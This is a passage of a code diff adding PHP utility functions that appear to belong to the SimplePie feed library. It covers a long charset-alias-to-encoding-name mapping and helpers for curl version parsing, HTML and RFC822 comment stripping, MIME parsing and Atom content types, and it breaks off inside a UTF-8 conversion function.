+			case 'cseucfixwidjapanese':
+			case 'extendedunixcodefixedwidthforjapanese':
+				return 'Extended_UNIX_Code_Fixed_Width_for_Japanese';
+
+			case 'gb18030':
+				return 'GB18030';
+
+			case 'chinese':
+			case 'cp936':
+			case 'csgb2312':
+			case 'csiso58gb231280':
+			case 'gb2312':
+			case 'gb231280':
+			case 'gbk':
+			case 'isoir58':
+			case 'ms936':
+			case 'windows936':
+				return 'GBK';
+
+			case 'cn':
+			case 'csiso57gb1988':
+			case 'gb198880':
+			case 'iso646cn':
+			case 'isoir57':
+				return 'GB_1988-80';
+
+			case 'csiso153gost1976874':
+			case 'gost1976874':
+			case 'isoir153':
+			case 'stsev35888':
+				return 'GOST_19768-74';
+
+			case 'csiso150':
+			case 'csiso150greekccitt':
+			case 'greekccitt':
+			case 'isoir150':
+				return 'greek-ccitt';
+
+			case 'csiso88greek7':
+			case 'greek7':
+			case 'isoir88':
+				return 'greek7';
+
+			case 'csiso18greek7old':
+			case 'greek7old':
+			case 'isoir18':
+				return 'greek7-old';
+
+			case 'cshpdesktop':
+			case 'hpdesktop':
+				return 'HP-DeskTop';
+
+			case 'cshplegal':
+			case 'hplegal':
+				return 'HP-Legal';
+
+			case 'cshpmath8':
+			case 'hpmath8':
+				return 'HP-Math8';
+
+			case 'cshppifont':
+			case 'hppifont':
+				return 'HP-Pi-font';
+
+			case 'cshproman8':
+			case 'hproman8':
+			case 'r8':
+			case 'roman8':
+				return 'hp-roman8';
+
+			case 'hzgb2312':
+				return 'HZ-GB-2312';
+
+			case 'csibmsymbols':
+			case 'ibmsymbols':
+				return 'IBM-Symbols';
+
+			case 'csibmthai':
+			case 'ibmthai':
+				return 'IBM-Thai';
+
+			case 'cp37':
+			case 'csibm37':
+			case 'ebcdiccpca':
+			case 'ebcdiccpnl':
+			case 'ebcdiccpus':
+			case 'ebcdiccpwt':
+			case 'ibm37':
+				return 'IBM037';
+
+			case 'cp38':
+			case 'csibm38':
+			case 'ebcdicint':
+			case 'ibm38':
+				return 'IBM038';
+
+			case 'cp273':
+			case 'csibm273':
+			case 'ibm273':
+				return 'IBM273';
+
+			case 'cp274':
+			case 'csibm274':
+			case 'ebcdicbe':
+			case 'ibm274':
+				return 'IBM274';
+
+			case 'cp275':
+			case 'csibm275':
+			case 'ebcdicbr':
+			case 'ibm275':
+				return 'IBM275';
+
+			case 'csibm277':
+			case 'ebcdiccpdk':
+			case 'ebcdiccpno':
+			case 'ibm277':
+				return 'IBM277';
+
+			case 'cp278':
+			case 'csibm278':
+			case 'ebcdiccpfi':
+			case 'ebcdiccpse':
+			case 'ibm278':
+				return 'IBM278';
+
+			case 'cp280':
+			case 'csibm280':
+			case 'ebcdiccpit':
+			case 'ibm280':
+				return 'IBM280';
+
+			case 'cp281':
+			case 'csibm281':
+			case 'ebcdicjpe':
+			case 'ibm281':
+				return 'IBM281';
+
+			case 'cp284':
+			case 'csibm284':
+			case 'ebcdiccpes':
+			case 'ibm284':
+				return 'IBM284';
+
+			case 'cp285':
+			case 'csibm285':
+			case 'ebcdiccpgb':
+			case 'ibm285':
+				return 'IBM285';
+
+			case 'cp290':
+			case 'csibm290':
+			case 'ebcdicjpkana':
+			case 'ibm290':
+				return 'IBM290';
+
+			case 'cp297':
+			case 'csibm297':
+			case 'ebcdiccpfr':
+			case 'ibm297':
+				return 'IBM297';
+
+			case 'cp420':
+			case 'csibm420':
+			case 'ebcdiccpar1':
+			case 'ibm420':
+				return 'IBM420';
+
+			case 'cp423':
+			case 'csibm423':
+			case 'ebcdiccpgr':
+			case 'ibm423':
+				return 'IBM423';
+
+			case 'cp424':
+			case 'csibm424':
+			case 'ebcdiccphe':
+			case 'ibm424':
+				return 'IBM424';
+
+			case '437':
+			case 'cp437':
+			case 'cspc8codepage437':
+			case 'ibm437':
+				return 'IBM437';
+
+			case 'cp500':
+			case 'csibm500':
+			case 'ebcdiccpbe':
+			case 'ebcdiccpch':
+			case 'ibm500':
+				return 'IBM500';
+
+			case 'cp775':
+			case 'cspc775baltic':
+			case 'ibm775':
+				return 'IBM775';
+
+			case '850':
+			case 'cp850':
+			case 'cspc850multilingual':
+			case 'ibm850':
+				return 'IBM850';
+
+			case '851':
+			case 'cp851':
+			case 'csibm851':
+			case 'ibm851':
+				return 'IBM851';
+
+			case '852':
+			case 'cp852':
+			case 'cspcp852':
+			case 'ibm852':
+				return 'IBM852';
+
+			case '855':
+			case 'cp855':
+			case 'csibm855':
+			case 'ibm855':
+				return 'IBM855';
+
+			case '857':
+			case 'cp857':
+			case 'csibm857':
+			case 'ibm857':
+				return 'IBM857';
+
+			case 'ccsid858':
+			case 'cp858':
+			case 'ibm858':
+			case 'pcmultilingual850euro':
+				return 'IBM00858';
+
+			case '860':
+			case 'cp860':
+			case 'csibm860':
+			case 'ibm860':
+				return 'IBM860';
+
+			case '861':
+			case 'cp861':
+			case 'cpis':
+			case 'csibm861':
+			case 'ibm861':
+				return 'IBM861';
+
+			case '862':
+			case 'cp862':
+			case 'cspc862latinhebrew':
+			case 'ibm862':
+				return 'IBM862';
+
+			case '863':
+			case 'cp863':
+			case 'csibm863':
+			case 'ibm863':
+				return 'IBM863';
+
+			case 'cp864':
+			case 'csibm864':
+			case 'ibm864':
+				return 'IBM864';
+
+			case '865':
+			case 'cp865':
+			case 'csibm865':
+			case 'ibm865':
+				return 'IBM865';
+
+			case '866':
+			case 'cp866':
+			case 'csibm866':
+			case 'ibm866':
+				return 'IBM866';
+
+			case 'cp868':
+			case 'cpar':
+			case 'csibm868':
+			case 'ibm868':
+				return 'IBM868';
+
+			case '869':
+			case 'cp869':
+			case 'cpgr':
+			case 'csibm869':
+			case 'ibm869':
+				return 'IBM869';
+
+			case 'cp870':
+			case 'csibm870':
+			case 'ebcdiccproece':
+			case 'ebcdiccpyu':
+			case 'ibm870':
+				return 'IBM870';
+
+			case 'cp871':
+			case 'csibm871':
+			case 'ebcdiccpis':
+			case 'ibm871':
+				return 'IBM871';
+
+			case 'cp880':
+			case 'csibm880':
+			case 'ebcdiccyrillic':
+			case 'ibm880':
+				return 'IBM880';
+
+			case 'cp891':
+			case 'csibm891':
+			case 'ibm891':
+				return 'IBM891';
+
+			case 'cp903':
+			case 'csibm903':
+			case 'ibm903':
+				return 'IBM903';
+
+			case '904':
+			case 'cp904':
+			case 'csibbm904':
+			case 'ibm904':
+				return 'IBM904';
+
+			case 'cp905':
+			case 'csibm905':
+			case 'ebcdiccptr':
+			case 'ibm905':
+				return 'IBM905';
+
+			case 'cp918':
+			case 'csibm918':
+			case 'ebcdiccpar2':
+			case 'ibm918':
+				return 'IBM918';
+
+			case 'ccsid924':
+			case 'cp924':
+			case 'ebcdiclatin9euro':
+			case 'ibm924':
+				return 'IBM00924';
+
+			case 'cp1026':
+			case 'csibm1026':
+			case 'ibm1026':
+				return 'IBM1026';
+
+			case 'ibm1047':
+				return 'IBM1047';
+
+			case 'ccsid1140':
+			case 'cp1140':
+			case 'ebcdicus37euro':
+			case 'ibm1140':
+				return 'IBM01140';
+
+			case 'ccsid1141':
+			case 'cp1141':
+			case 'ebcdicde273euro':
+			case 'ibm1141':
+				return 'IBM01141';
+
+			case 'ccsid1142':
+			case 'cp1142':
+			case 'ebcdicdk277euro':
+			case 'ebcdicno277euro':
+			case 'ibm1142':
+				return 'IBM01142';
+
+			case 'ccsid1143':
+			case 'cp1143':
+			case 'ebcdicfi278euro':
+			case 'ebcdicse278euro':
+			case 'ibm1143':
+				return 'IBM01143';
+
+			case 'ccsid1144':
+			case 'cp1144':
+			case 'ebcdicit280euro':
+			case 'ibm1144':
+				return 'IBM01144';
+
+			case 'ccsid1145':
+			case 'cp1145':
+			case 'ebcdices284euro':
+			case 'ibm1145':
+				return 'IBM01145';
+
+			case 'ccsid1146':
+			case 'cp1146':
+			case 'ebcdicgb285euro':
+			case 'ibm1146':
+				return 'IBM01146';
+
+			case 'ccsid1147':
+			case 'cp1147':
+			case 'ebcdicfr297euro':
+			case 'ibm1147':
+				return 'IBM01147';
+
+			case 'ccsid1148':
+			case 'cp1148':
+			case 'ebcdicinternational500euro':
+			case 'ibm1148':
+				return 'IBM01148';
+
+			case 'ccsid1149':
+			case 'cp1149':
+			case 'ebcdicis871euro':
+			case 'ibm1149':
+				return 'IBM01149';
+
+			case 'csiso143iecp271':
+			case 'iecp271':
+			case 'isoir143':
+				return 'IEC_P27-1';
+
+			case 'csiso49inis':
+			case 'inis':
+			case 'isoir49':
+				return 'INIS';
+
+			case 'csiso50inis8':
+			case 'inis8':
+			case 'isoir50':
+				return 'INIS-8';
+
+			case 'csiso51iniscyrillic':
+			case 'iniscyrillic':
+			case 'isoir51':
+				return 'INIS-cyrillic';
+
+			case 'csinvariant':
+			case 'invariant':
+				return 'INVARIANT';
+
+			case 'iso2022cn':
+				return 'ISO-2022-CN';
+
+			case 'iso2022cnext':
+				return 'ISO-2022-CN-EXT';
+
+			case 'csiso2022jp':
+			case 'iso2022jp':
+				return 'ISO-2022-JP';
+
+			case 'csiso2022jp2':
+			case 'iso2022jp2':
+				return 'ISO-2022-JP-2';
+
+			case 'csiso2022kr':
+			case 'iso2022kr':
+				return 'ISO-2022-KR';
+
+			case 'cswindows30latin1':
+			case 'iso88591windows30latin1':
+				return 'ISO-8859-1-Windows-3.0-Latin-1';
+
+			case 'cswindows31latin1':
+			case 'iso88591windows31latin1':
+				return 'ISO-8859-1-Windows-3.1-Latin-1';
+
+			case 'csisolatin2':
+			case 'iso88592':
+			case 'iso885921987':
+			case 'isoir101':
+			case 'l2':
+			case 'latin2':
+				return 'ISO-8859-2';
+
+			case 'cswindows31latin2':
+			case 'iso88592windowslatin2':
+				return 'ISO-8859-2-Windows-Latin-2';
+
+			case 'csisolatin3':
+			case 'iso88593':
+			case 'iso885931988':
+			case 'isoir109':
+			case 'l3':
+			case 'latin3':
+				return 'ISO-8859-3';
+
+			case 'csisolatin4':
+			case 'iso88594':
+			case 'iso885941988':
+			case 'isoir110':
+			case 'l4':
+			case 'latin4':
+				return 'ISO-8859-4';
+
+			case 'csisolatincyrillic':
+			case 'cyrillic':
+			case 'iso88595':
+			case 'iso885951988':
+			case 'isoir144':
+				return 'ISO-8859-5';
+
+			case 'arabic':
+			case 'asmo708':
+			case 'csisolatinarabic':
+			case 'ecma114':
+			case 'iso88596':
+			case 'iso885961987':
+			case 'isoir127':
+				return 'ISO-8859-6';
+
+			case 'csiso88596e':
+			case 'iso88596e':
+				return 'ISO-8859-6-E';
+
+			case 'csiso88596i':
+			case 'iso88596i':
+				return 'ISO-8859-6-I';
+
+			case 'csisolatingreek':
+			case 'ecma118':
+			case 'elot928':
+			case 'greek':
+			case 'greek8':
+			case 'iso88597':
+			case 'iso885971987':
+			case 'isoir126':
+				return 'ISO-8859-7';
+
+			case 'csisolatinhebrew':
+			case 'hebrew':
+			case 'iso88598':
+			case 'iso885981988':
+			case 'isoir138':
+				return 'ISO-8859-8';
+
+			case 'csiso88598e':
+			case 'iso88598e':
+				return 'ISO-8859-8-E';
+
+			case 'csiso88598i':
+			case 'iso88598i':
+				return 'ISO-8859-8-I';
+
+			case 'cswindows31latin5':
+			case 'iso88599windowslatin5':
+				return 'ISO-8859-9-Windows-Latin-5';
+
+			case 'csisolatin6':
+			case 'iso885910':
+			case 'iso8859101992':
+			case 'isoir157':
+			case 'l6':
+			case 'latin6':
+				return 'ISO-8859-10';
+
+			case 'iso885913':
+				return 'ISO-8859-13';
+
+			case 'iso885914':
+			case 'iso8859141998':
+			case 'isoceltic':
+			case 'isoir199':
+			case 'l8':
+			case 'latin8':
+				return 'ISO-8859-14';
+
+			case 'iso885915':
+			case 'latin9':
+				return 'ISO-8859-15';
+
+			case 'iso885916':
+			case 'iso8859162001':
+			case 'isoir226':
+			case 'l10':
+			case 'latin10':
+				return 'ISO-8859-16';
+
+			case 'iso10646j1':
+				return 'ISO-10646-J-1';
+
+			case 'csunicode':
+			case 'iso10646ucs2':
+				return 'ISO-10646-UCS-2';
+
+			case 'csucs4':
+			case 'iso10646ucs4':
+				return 'ISO-10646-UCS-4';
+
+			case 'csunicodeascii':
+			case 'iso10646ucsbasic':
+				return 'ISO-10646-UCS-Basic';
+
+			case 'csunicodelatin1':
+			case 'iso10646':
+			case 'iso10646unicodelatin1':
+				return 'ISO-10646-Unicode-Latin1';
+
+			case 'csiso10646utf1':
+			case 'iso10646utf1':
+				return 'ISO-10646-UTF-1';
+
+			case 'csiso115481':
+			case 'iso115481':
+			case 'isotr115481':
+				return 'ISO-11548-1';
+
+			case 'csiso90':
+			case 'isoir90':
+				return 'iso-ir-90';
+
+			case 'csunicodeibm1261':
+			case 'isounicodeibm1261':
+				return 'ISO-Unicode-IBM-1261';
+
+			case 'csunicodeibm1264':
+			case 'isounicodeibm1264':
+				return 'ISO-Unicode-IBM-1264';
+
+			case 'csunicodeibm1265':
+			case 'isounicodeibm1265':
+				return 'ISO-Unicode-IBM-1265';
+
+			case 'csunicodeibm1268':
+			case 'isounicodeibm1268':
+				return 'ISO-Unicode-IBM-1268';
+
+			case 'csunicodeibm1276':
+			case 'isounicodeibm1276':
+				return 'ISO-Unicode-IBM-1276';
+
+			case 'csiso646basic1983':
+			case 'iso646basic1983':
+			case 'ref':
+				return 'ISO_646.basic:1983';
+
+			case 'csiso2intlrefversion':
+			case 'irv':
+			case 'iso646irv1983':
+			case 'isoir2':
+				return 'ISO_646.irv:1983';
+
+			case 'csiso2033':
+			case 'e13b':
+			case 'iso20331983':
+			case 'isoir98':
+				return 'ISO_2033-1983';
+
+			case 'csiso5427cyrillic':
+			case 'iso5427':
+			case 'isoir37':
+				return 'ISO_5427';
+
+			case 'iso5427cyrillic1981':
+			case 'iso54271981':
+			case 'isoir54':
+				return 'ISO_5427:1981';
+
+			case 'csiso5428greek':
+			case 'iso54281980':
+			case 'isoir55':
+				return 'ISO_5428:1980';
+
+			case 'csiso6937add':
+			case 'iso6937225':
+			case 'isoir152':
+				return 'ISO_6937-2-25';
+
+			case 'csisotextcomm':
+			case 'iso69372add':
+			case 'isoir142':
+				return 'ISO_6937-2-add';
+
+			case 'csiso8859supp':
+			case 'iso8859supp':
+			case 'isoir154':
+			case 'latin125':
+				return 'ISO_8859-supp';
+
+			case 'csiso10367box':
+			case 'iso10367box':
+			case 'isoir155':
+				return 'ISO_10367-box';
+
+			case 'csiso15italian':
+			case 'iso646it':
+			case 'isoir15':
+			case 'it':
+				return 'IT';
+
+			case 'csiso13jisc6220jp':
+			case 'isoir13':
+			case 'jisc62201969':
+			case 'jisc62201969jp':
+			case 'katakana':
+			case 'x2017':
+				return 'JIS_C6220-1969-jp';
+
+			case 'csiso14jisc6220ro':
+			case 'iso646jp':
+			case 'isoir14':
+			case 'jisc62201969ro':
+			case 'jp':
+				return 'JIS_C6220-1969-ro';
+
+			case 'csiso42jisc62261978':
+			case 'isoir42':
+			case 'jisc62261978':
+				return 'JIS_C6226-1978';
+
+			case 'csiso87jisx208':
+			case 'isoir87':
+			case 'jisc62261983':
+			case 'jisx2081983':
+			case 'x208':
+				return 'JIS_C6226-1983';
+
+			case 'csiso91jisc62291984a':
+			case 'isoir91':
+			case 'jisc62291984a':
+			case 'jpocra':
+				return 'JIS_C6229-1984-a';
+
+			case 'csiso92jisc62991984b':
+			case 'iso646jpocrb':
+			case 'isoir92':
+			case 'jisc62291984b':
+			case 'jpocrb':
+				return 'JIS_C6229-1984-b';
+
+			case 'csiso93jis62291984badd':
+			case 'isoir93':
+			case 'jisc62291984badd':
+			case 'jpocrbadd':
+				return 'JIS_C6229-1984-b-add';
+
+			case 'csiso94jis62291984hand':
+			case 'isoir94':
+			case 'jisc62291984hand':
+			case 'jpocrhand':
+				return 'JIS_C6229-1984-hand';
+
+			case 'csiso95jis62291984handadd':
+			case 'isoir95':
+			case 'jisc62291984handadd':
+			case 'jpocrhandadd':
+				return 'JIS_C6229-1984-hand-add';
+
+			case 'csiso96jisc62291984kana':
+			case 'isoir96':
+			case 'jisc62291984kana':
+				return 'JIS_C6229-1984-kana';
+
+			case 'csjisencoding':
+			case 'jisencoding':
+				return 'JIS_Encoding';
+
+			case 'cshalfwidthkatakana':
+			case 'jisx201':
+			case 'x201':
+				return 'JIS_X0201';
+
+			case 'csiso159jisx2121990':
+			case 'isoir159':
+			case 'jisx2121990':
+			case 'x212':
+				return 'JIS_X0212-1990';
+
+			case 'csiso141jusib1002':
+			case 'iso646yu':
+			case 'isoir141':
+			case 'js':
+			case 'jusib1002':
+			case 'yu':
+				return 'JUS_I.B1.002';
+
+			case 'csiso147macedonian':
+			case 'isoir147':
+			case 'jusib1003mac':
+			case 'macedonian':
+				return 'JUS_I.B1.003-mac';
+
+			case 'csiso146serbian':
+			case 'isoir146':
+			case 'jusib1003serb':
+			case 'serbian':
+				return 'JUS_I.B1.003-serb';
+
+			case 'koi7switched':
+				return 'KOI7-switched';
+
+			case 'cskoi8r':
+			case 'koi8r':
+				return 'KOI8-R';
+
+			case 'koi8u':
+				return 'KOI8-U';
+
+			case 'csksc5636':
+			case 'iso646kr':
+			case 'ksc5636':
+				return 'KSC5636';
+
+			case 'cskz1048':
+			case 'kz1048':
+			case 'rk1048':
+			case 'strk10482002':
+				return 'KZ-1048';
+
+			case 'csiso19latingreek':
+			case 'isoir19':
+			case 'latingreek':
+				return 'latin-greek';
+
+			case 'csiso27latingreek1':
+			case 'isoir27':
+			case 'latingreek1':
+				return 'Latin-greek-1';
+
+			case 'csiso158lap':
+			case 'isoir158':
+			case 'lap':
+			case 'latinlap':
+				return 'latin-lap';
+
+			case 'csmacintosh':
+			case 'mac':
+			case 'macintosh':
+				return 'macintosh';
+
+			case 'csmicrosoftpublishing':
+			case 'microsoftpublishing':
+				return 'Microsoft-Publishing';
+
+			case 'csmnem':
+			case 'mnem':
+				return 'MNEM';
+
+			case 'csmnemonic':
+			case 'mnemonic':
+				return 'MNEMONIC';
+
+			case 'csiso86hungarian':
+			case 'hu':
+			case 'iso646hu':
+			case 'isoir86':
+			case 'msz77953':
+				return 'MSZ_7795.3';
+
+			case 'csnatsdano':
+			case 'isoir91':
+			case 'natsdano':
+				return 'NATS-DANO';
+
+			case 'csnatsdanoadd':
+			case 'isoir92':
+			case 'natsdanoadd':
+				return 'NATS-DANO-ADD';
+
+			case 'csnatssefi':
+			case 'isoir81':
+			case 'natssefi':
+				return 'NATS-SEFI';
+
+			case 'csnatssefiadd':
+			case 'isoir82':
+			case 'natssefiadd':
+				return 'NATS-SEFI-ADD';
+
+			case 'csiso151cuba':
+			case 'cuba':
+			case 'iso646cu':
+			case 'isoir151':
+			case 'ncnc1081':
+				return 'NC_NC00-10:81';
+
+			case 'csiso69french':
+			case 'fr':
+			case 'iso646fr':
+			case 'isoir69':
+			case 'nfz62010':
+				return 'NF_Z_62-010';
+
+			case 'csiso25french':
+			case 'iso646fr1':
+			case 'isoir25':
+			case 'nfz620101973':
+				return 'NF_Z_62-010_(1973)';
+
+			case 'csiso60danishnorwegian':
+			case 'csiso60norwegian1':
+			case 'iso646no':
+			case 'isoir60':
+			case 'no':
+			case 'ns45511':
+				return 'NS_4551-1';
+
+			case 'csiso61norwegian2':
+			case 'iso646no2':
+			case 'isoir61':
+			case 'no2':
+			case 'ns45512':
+				return 'NS_4551-2';
+
+			case 'osdebcdicdf3irv':
+				return 'OSD_EBCDIC_DF03_IRV';
+
+			case 'osdebcdicdf41':
+				return 'OSD_EBCDIC_DF04_1';
+
+			case 'osdebcdicdf415':
+				return 'OSD_EBCDIC_DF04_15';
+
+			case 'cspc8danishnorwegian':
+			case 'pc8danishnorwegian':
+				return 'PC8-Danish-Norwegian';
+
+			case 'cspc8turkish':
+			case 'pc8turkish':
+				return 'PC8-Turkish';
+
+			case 'csiso16portuguese':
+			case 'iso646pt':
+			case 'isoir16':
+			case 'pt':
+				return 'PT';
+
+			case 'csiso84portuguese2':
+			case 'iso646pt2':
+			case 'isoir84':
+			case 'pt2':
+				return 'PT2';
+
+			case 'cp154':
+			case 'csptcp154':
+			case 'cyrillicasian':
+			case 'pt154':
+			case 'ptcp154':
+				return 'PTCP154';
+
+			case 'scsu':
+				return 'SCSU';
+
+			case 'csiso10swedish':
+			case 'fi':
+			case 'iso646fi':
+			case 'iso646se':
+			case 'isoir10':
+			case 'se':
+			case 'sen850200b':
+				return 'SEN_850200_B';
+
+			case 'csiso11swedishfornames':
+			case 'iso646se2':
+			case 'isoir11':
+			case 'se2':
+			case 'sen850200c':
+				return 'SEN_850200_C';
+
+			case 'csiso102t617bit':
+			case 'isoir102':
+			case 't617bit':
+				return 'T.61-7bit';
+
+			case 'csiso103t618bit':
+			case 'isoir103':
+			case 't61':
+			case 't618bit':
+				return 'T.61-8bit';
+
+			case 'csiso128t101g2':
+			case 'isoir128':
+			case 't101g2':
+				return 'T.101-G2';
+
+			case 'cstscii':
+			case 'tscii':
+				return 'TSCII';
+
+			case 'csunicode11':
+			case 'unicode11':
+				return 'UNICODE-1-1';
+
+			case 'csunicode11utf7':
+			case 'unicode11utf7':
+				return 'UNICODE-1-1-UTF-7';
+
+			case 'csunknown8bit':
+			case 'unknown8bit':
+				return 'UNKNOWN-8BIT';
+
+			case 'ansix341968':
+			case 'ansix341986':
+			case 'ascii':
+			case 'cp367':
+			case 'csascii':
+			case 'ibm367':
+			case 'iso646irv1991':
+			case 'iso646us':
+			case 'isoir6':
+			case 'us':
+			case 'usascii':
+				return 'US-ASCII';
+
+			case 'csusdk':
+			case 'usdk':
+				return 'us-dk';
+
+			case 'utf7':
+				return 'UTF-7';
+
+			case 'utf8':
+				return 'UTF-8';
+
+			case 'utf16':
+				return 'UTF-16';
+
+			case 'utf16be':
+				return 'UTF-16BE';
+
+			case 'utf16le':
+				return 'UTF-16LE';
+
+			case 'utf32':
+				return 'UTF-32';
+
+			case 'utf32be':
+				return 'UTF-32BE';
+
+			case 'utf32le':
+				return 'UTF-32LE';
+
+			case 'csventurainternational':
+			case 'venturainternational':
+				return 'Ventura-International';
+
+			case 'csventuramath':
+			case 'venturamath':
+				return 'Ventura-Math';
+
+			case 'csventuraus':
+			case 'venturaus':
+				return 'Ventura-US';
+
+			case 'csiso70videotexsupp1':
+			case 'isoir70':
+			case 'videotexsuppl':
+				return 'videotex-suppl';
+
+			case 'csviqr':
+			case 'viqr':
+				return 'VIQR';
+
+			case 'csviscii':
+			case 'viscii':
+				return 'VISCII';
+
+			case 'csshiftjis':
+			case 'cswindows31j':
+			case 'mskanji':
+			case 'shiftjis':
+			case 'windows31j':
+				return 'Windows-31J';
+
+			case 'iso885911':
+			case 'tis620':
+				return 'windows-874';
+
+			case 'cseuckr':
+			case 'csksc56011987':
+			case 'euckr':
+			case 'isoir149':
+			case 'korean':
+			case 'ksc5601':
+			case 'ksc56011987':
+			case 'ksc56011989':
+			case 'windows949':
+				return 'windows-949';
+
+			case 'windows1250':
+				return 'windows-1250';
+
+			case 'windows1251':
+				return 'windows-1251';
+
+			case 'cp819':
+			case 'csisolatin1':
+			case 'ibm819':
+			case 'iso88591':
+			case 'iso885911987':
+			case 'isoir100':
+			case 'l1':
+			case 'latin1':
+			case 'windows1252':
+				return 'windows-1252';
+
+			case 'windows1253':
+				return 'windows-1253';
+
+			case 'csisolatin5':
+			case 'iso88599':
+			case 'iso885991989':
+			case 'isoir148':
+			case 'l5':
+			case 'latin5':
+			case 'windows1254':
+				return 'windows-1254';
+
+			case 'windows1255':
+				return 'windows-1255';
+
+			case 'windows1256':
+				return 'windows-1256';
+
+			case 'windows1257':
+				return 'windows-1257';
+
+			case 'windows1258':
+				return 'windows-1258';
+
+			default:
+				return $charset;
+		}
+	}
+
+	public static function get_curl_version()
+	{
+		if (is_array($curl = curl_version()))
+		{
+			$curl = $curl['version'];
+		}
+		elseif (substr($curl, 0, 5) === 'curl/')
+		{
+			$curl = substr($curl, 5, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 5));
+		}
+		elseif (substr($curl, 0, 8) === 'libcurl/')
+		{
+			$curl = substr($curl, 8, strcspn($curl, "\x09\x0A\x0B\x0C\x0D", 8));
+		}
+		else
+		{
+			$curl = 0;
+		}
+		return $curl;
+	}
+
+	/**
+	 * Strip HTML comments
+	 *
+	 * @param string $data Data to strip comments from
+	 * @return string Comment stripped string
+	 */
+	public static function strip_comments($data)
+	{
+		$output = '';
+		while (($start = strpos($data, '<!--')) !== false)
+		{
+			$output .= substr($data, 0, $start);
+			if (($end = strpos($data, '-->', $start)) !== false)
+			{
+				$data = substr_replace($data, '', 0, $end + 3);
+			}
+			else
+			{
+				$data = '';
+			}
+		}
+		return $output . $data;
+	}
+
+	public static function parse_date($dt)
+	{
+		$parser = SimplePie_Parse_Date::get();
+		return $parser->parse($dt);
+	}
+
+	/**
+	 * Decode HTML entities
+	 *
+	 * @deprecated Use DOMDocument instead
+	 * @param string $data Input data
+	 * @return string Output data
+	 */
+	public static function entities_decode($data)
+	{
+		$decoder = new SimplePie_Decode_HTML_Entities($data);
+		return $decoder->parse();
+	}
+
+	/**
+	 * Remove RFC822 comments
+	 *
+	 * @param string $data Data to strip comments from
+	 * @return string Comment stripped string
+	 */
+	public static function uncomment_rfc822($string)
+	{
+		$string = (string) $string;
+		$position = 0;
+		$length = strlen($string);
+		$depth = 0;
+
+		$output = '';
+
+		while ($position < $length && ($pos = strpos($string, '(', $position)) !== false)
+		{
+			$output .= substr($string, $position, $pos - $position);
+			$position = $pos + 1;
+			if ($string[$pos - 1] !== '\\')
+			{
+				$depth++;
+				while ($depth && $position < $length)
+				{
+					$position += strcspn($string, '()', $position);
+					if ($string[$position - 1] === '\\')
+					{
+						$position++;
+						continue;
+					}
+					elseif (isset($string[$position]))
+					{
+						switch ($string[$position])
+						{
+							case '(':
+								$depth++;
+								break;
+
+							case ')':
+								$depth--;
+								break;
+						}
+						$position++;
+					}
+					else
+					{
+						break;
+					}
+				}
+			}
+			else
+			{
+				$output .= '(';
+			}
+		}
+		$output .= substr($string, $position);
+
+		return $output;
+	}
+
+	public static function parse_mime($mime)
+	{
+		if (($pos = strpos($mime, ';')) === false)
+		{
+			return trim($mime);
+		}
+		else
+		{
+			return trim(substr($mime, 0, $pos));
+		}
+	}
+
+	public static function atom_03_construct_type($attribs)
+	{
+		if (isset($attribs['']['mode']) && strtolower(trim($attribs['']['mode']) === 'base64'))
+		{
+			$mode = SIMPLEPIE_CONSTRUCT_BASE64;
+		}
+		else
+		{
+			$mode = SIMPLEPIE_CONSTRUCT_NONE;
+		}
+		if (isset($attribs['']['type']))
+		{
+			switch (strtolower(trim($attribs['']['type'])))
+			{
+				case 'text':
+				case 'text/plain':
+					return SIMPLEPIE_CONSTRUCT_TEXT | $mode;
+
+				case 'html':
+				case 'text/html':
+					return SIMPLEPIE_CONSTRUCT_HTML | $mode;
+
+				case 'xhtml':
+				case 'application/xhtml+xml':
+					return SIMPLEPIE_CONSTRUCT_XHTML | $mode;
+
+				default:
+					return SIMPLEPIE_CONSTRUCT_NONE | $mode;
+			}
+		}
+		else
+		{
+			return SIMPLEPIE_CONSTRUCT_TEXT | $mode;
+		}
+	}
+
+	public static function atom_10_construct_type($attribs)
+	{
+		if (isset($attribs['']['type']))
+		{
+			switch (strtolower(trim($attribs['']['type'])))
+			{
+				case 'text':
+					return SIMPLEPIE_CONSTRUCT_TEXT;
+
+				case 'html':
+					return SIMPLEPIE_CONSTRUCT_HTML;
+
+				case 'xhtml':
+					return SIMPLEPIE_CONSTRUCT_XHTML;
+
+				default:
+					return SIMPLEPIE_CONSTRUCT_NONE;
+			}
+		}
+		return SIMPLEPIE_CONSTRUCT_TEXT;
+	}
+
+	public static function atom_10_content_construct_type($attribs)
+	{
+		if (isset($attribs['']['type']))
+		{
+			$type = strtolower(trim($attribs['']['type']));
+			switch ($type)
+			{
+				case 'text':
+					return SIMPLEPIE_CONSTRUCT_TEXT;
+
+				case 'html':
+					return SIMPLEPIE_CONSTRUCT_HTML;
+
+				case 'xhtml':
+					return SIMPLEPIE_CONSTRUCT_XHTML;
+			}
+			if (in_array(substr($type, -4), array('+xml', '/xml')) || substr($type, 0, 5) === 'text/')
+			{
+				return SIMPLEPIE_CONSTRUCT_NONE;
+			}
+			else
+			{
+				return SIMPLEPIE_CONSTRUCT_BASE64;
+			}
+		}
+		else
+		{
+			return SIMPLEPIE_CONSTRUCT_TEXT;
+		}
+	}
+
+	public static function is_isegment_nz_nc($string)
+	{
+		return (bool) preg_match('/^([A-Za-z0-9\-._~\x{A0}-\x{D7FF}\x{F900}-\x{FDCF}\x{FDF0}-\x{FFEF}\x{10000}-\x{1FFFD}\x{20000}-\x{2FFFD}\x{30000}-\x{3FFFD}\x{40000}-\x{4FFFD}\x{50000}-\x{5FFFD}\x{60000}-\x{6FFFD}\x{70000}-\x{7FFFD}\x{80000}-\x{8FFFD}\x{90000}-\x{9FFFD}\x{A0000}-\x{AFFFD}\x{B0000}-\x{BFFFD}\x{C0000}-\x{CFFFD}\x{D0000}-\x{DFFFD}\x{E1000}-\x{EFFFD}!$&\'()*+,;=@]|(%[0-9ABCDEF]{2}))+$/u', $string);
+	}
+
+	public static function space_seperated_tokens($string)
+	{
+		$space_characters = "\x20\x09\x0A\x0B\x0C\x0D";
+		$string_length = strlen($string);
+
+		$position = strspn($string, $space_characters);
+		$tokens = array();
+
+		while ($position < $string_length)
+		{
+			$len = strcspn($string, $space_characters, $position);
+			$tokens[] = substr($string, $position, $len);
+			$position += $len;
+			$position += strspn($string, $space_characters, $position);
+		}
+
+		return $tokens;
+	}
+
+	/**
+	 * Converts a unicode codepoint to a UTF-8 character
+	 *
+	 * @static
+	 * @param int $codepoint Unicode codepoint
+	 * @return string UTF-8 character
+	 */
+	public static function codepoint_to_utf8($codepoint)
+	{
+		$codepoint = (int) $codepoint;
